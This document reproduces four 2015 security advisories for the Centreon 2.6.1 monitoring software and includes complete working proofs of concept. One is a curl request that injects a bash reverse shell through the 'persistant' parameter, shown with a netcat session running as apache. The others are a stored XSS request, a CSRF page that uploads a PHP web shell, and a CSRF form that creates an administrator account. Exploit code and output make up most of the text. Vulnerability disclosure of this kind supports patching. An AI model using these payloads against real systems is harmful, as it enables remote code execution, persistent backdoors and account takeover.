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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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Centreon 2.6.1 Command Injection Vulnerability


Vendor: Centreon
Product web page: https://www.centreon.com
Affected version: 2.6.1 (CES 3.2)

Summary: Centreon is the choice of some of the world's largest
companies and mission-critical organizations for real-time IT
performance monitoring and diagnostics management.

Desc: The POST parameter 'persistant' which serves for making
a new service run in the background is not properly sanitised
before being used to execute commands. This can be exploited
to inject and execute arbitrary shell commands as well as using
cross-site request forgery attacks.

Tested on: CentOS 6.6 (Final)
           Apache/2.2.15
           PHP/5.3.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5265
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5265.php


10.08.2015

--

<<<<<<

root@zslab:~# curl -i -s -k -X 'POST' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-b 'PHPSESSID=bk80lvka1v8sb9ltuivjngo520' \
--data-binary $'host_id=14&service_id=19&persistant=1%27%22%600%26%2fbin%2fbash+-i+%3e+%2fdev%2ftcp%2f127.0.0.1%2f6161+0%3c%261+2%3e%261%60%27&duration_scale=s&start=08%2f17%2f2018&start_time=8%3a16&end=09%2f17%2f2018&end_time=10%3a16&comment=pwned&submitA=Save&o=as' \
'http://localhost.localdomain/centreon/main.php?p=20218'

>>>>>>

root@zslab:~# nc -4 -l -n 6161 -vv -D
Connection from 127.0.0.1 port 6161 [tcp/*] accepted
bash: no job control in this shell
bash-4.1$ id
id
uid=48(apache) gid=48(apache) groups=48(apache),494(centreon-engine),496(centreon-broker),498(centreon),499(nagios)
bash-4.1$ uname -a;cat /etc/issue
uname -a;cat /etc/issue
Linux localhost.localdomain 2.6.32-504.16.2.el6.x86_64 #1 SMP Wed Apr 22 06:48:29 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
Centreon Enterprise Server
Kernel \r on an \m

bash-4.1$ pwd 
pwd
/usr/share/centreon/www
bash-4.1$ exit
exit
exit
root@zslab:~# 

#################################################################

Centreon 2.6.1 Stored Cross-Site Scripting Vulnerability

Desc: Centreon suffers from a stored XSS vulnerability. Input
passed thru the POST parameter 'img_comment' is not sanitized
allowing the attacker to execute HTML code into user's browser
session on the affected site.

Tested on: CentOS 6.6 (Final)
           Apache/2.2.15
           PHP/5.3.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5266
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5266.php


10.08.2015

--


POST /centreon/main.php?p=50102 HTTP/1.1
Host: localhost.localdomain
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost.localdomain/centreon/main.php?p=50102&o=a
Cookie: PHPSESSID=qg580onenijim611sca8or3o32
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------951909060822176775828135993
Content-Length: 1195


-----------------------------951909060822176775828135993
Content-Disposition: form-data; name="directories"

upload
-----------------------------951909060822176775828135993
Content-Disposition: form-data; name="list_dir"

0
-----------------------------951909060822176775828135993
Content-Disposition: form-data; name="filename"; filename="phpinfo.php"
Content-Type: application/octet-stream

<?
phpinfo();
?>
-----------------------------951909060822176775828135993
Content-Disposition: form-data; name="img_comment"

"><script>alert(1);</script>
-----------------------------951909060822176775828135993
Content-Disposition: form-data; name="action[action]"

1
-----------------------------951909060822176775828135993
Content-Disposition: form-data; name="submitA"

Save
-----------------------------951909060822176775828135993
Content-Disposition: form-data; name="MAX_FILE_SIZE"

2097152
-----------------------------951909060822176775828135993
Content-Disposition: form-data; name="img_id"


-----------------------------951909060822176775828135993
Content-Disposition: form-data; name="o"

a
-----------------------------951909060822176775828135993--

#################################################################

Centreon 2.6.1 Unrestricted File Upload Vulnerability

Desc: The vulnerability is caused due to the improper verification
of uploaded files via the 'filename' POST parameter. This can be
exploited to execute arbitrary PHP code by uploading a malicious
PHP script file that will be stored in the '/img/media/' directory.

Tested on: CentOS 6.6 (Final)
           Apache/2.2.15
           PHP/5.3.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5264
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5264.php


10.08.2015

--


<html>
  <!-- Specified dir is 1337 and filename is shelly.php -->
  <!-- Ex: http://localhost.localdomain/centreon/img/media/1337/shelly.php?c=id -->
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost.localdomain/centreon/main.php?p=50102", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------951909060822176775828135993");
        xhr.withCredentials = true;
        var body = "-----------------------------951909060822176775828135993\r\n" + 
          "Content-Disposition: form-data; name=\"directories\"\r\n" + 
          "\r\n" + 
          "1337\r\n" + 
          "-----------------------------951909060822176775828135993\r\n" + 
          "Content-Disposition: form-data; name=\"list_dir\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------951909060822176775828135993\r\n" + 
          "Content-Disposition: form-data; name=\"filename\"; filename=\"shelly.php\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\x3c?php\r\n" + 
          "echo \"\x3cpre\x3e\";system($_GET[\'c\']);echo \"\x3c\/pre\x3e\";\r\n" + 
          "?\x3e\r\n" + 
          "-----------------------------951909060822176775828135993\r\n" + 
          "Content-Disposition: form-data; name=\"img_comment\"\r\n" + 
          "\r\n" + 
          "peened\r\n" + 
          "-----------------------------951909060822176775828135993\r\n" + 
          "Content-Disposition: form-data; name=\"action[action]\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------951909060822176775828135993\r\n" + 
          "Content-Disposition: form-data; name=\"submitA\"\r\n" + 
          "\r\n" + 
          "Save\r\n" + 
          "-----------------------------951909060822176775828135993\r\n" + 
          "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" + 
          "\r\n" + 
          "2097152\r\n" + 
          "-----------------------------951909060822176775828135993\r\n" + 
          "Content-Disposition: form-data; name=\"img_id\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------951909060822176775828135993\r\n" + 
          "Content-Disposition: form-data; name=\"o\"\r\n" + 
          "\r\n" + 
          "a\r\n" + 
          "-----------------------------951909060822176775828135993--";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

#################################################################

Centreon 2.6.1 CSRF Add Admin Exploit

Desc: The application allows users to perform certain actions
via HTTP requests without performing any validity checks to
verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user
visits a malicious web site.

Tested on: CentOS 6.6 (Final)
           Apache/2.2.15
           PHP/5.3.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5263
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5263.php


10.08.2015

--


<html>
  <body>
    <form action="'http://localhost.localdomain/centreon/main.php?p=60301" method="POST">
      <input type="hidden" name="contact_alias" value="Testingus" />
      <input type="hidden" name="contact_name" value="Fullio" />
      <input type="hidden" name="contact_email" value="test@test.tld" />
      <input type="hidden" name="contact_pager" value="" />
      <input type="hidden" name="contact_template_id" value="" />
      <input type="hidden" name="contact_enable_notifications[contact_enable_notifications]" value="2" />
      <input type="hidden" name="timeperiod_tp_id" value="" />
      <input type="hidden" name="timeperiod_tp_id2" value="" />
      <input type="hidden" name="contact_oreon[contact_oreon]" value="1" />
      <input type="hidden" name="contact_passwd" value="123123" />
      <input type="hidden" name="contact_passwd2" value="123123" />
      <input type="hidden" name="contact_lang" value="en_US" />
      <input type="hidden" name="contact_admin[contact_admin]" value="1" />
      <input type="hidden" name="contact_autologin_key" value="" />
      <input type="hidden" name="contact_auth_type" value="local" />
      <input type="hidden" name="contact_acl_groups[]" value="31" />
      <input type="hidden" name="contact_acl_groups[]" value="32" />
      <input type="hidden" name="contact_acl_groups[]" value="34" />
      <input type="hidden" name="contact_address1" value="Neverland" />
      <input type="hidden" name="contact_address2" value="" />
      <input type="hidden" name="contact_address3" value="101" />
      <input type="hidden" name="contact_address4" value="" />
      <input type="hidden" name="contact_address5" value="" />
      <input type="hidden" name="contact_address6" value="" />
      <input type="hidden" name="contact_activate[contact_activate]" value="1" />
      <input type="hidden" name="contact_comment" value="comment-vuln-xss-t00t" />
      <input type="hidden" name="action[action]" value="1" />
      <input type="hidden" name="submitA" value="Save" />
      <input type="hidden" name="contact_register" value="1" />
      <input type="hidden" name="contact_id" value="" />
      <input type="hidden" name="o" value="a" />
      <input type="hidden" name="initialValues" value="a:0:{}" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>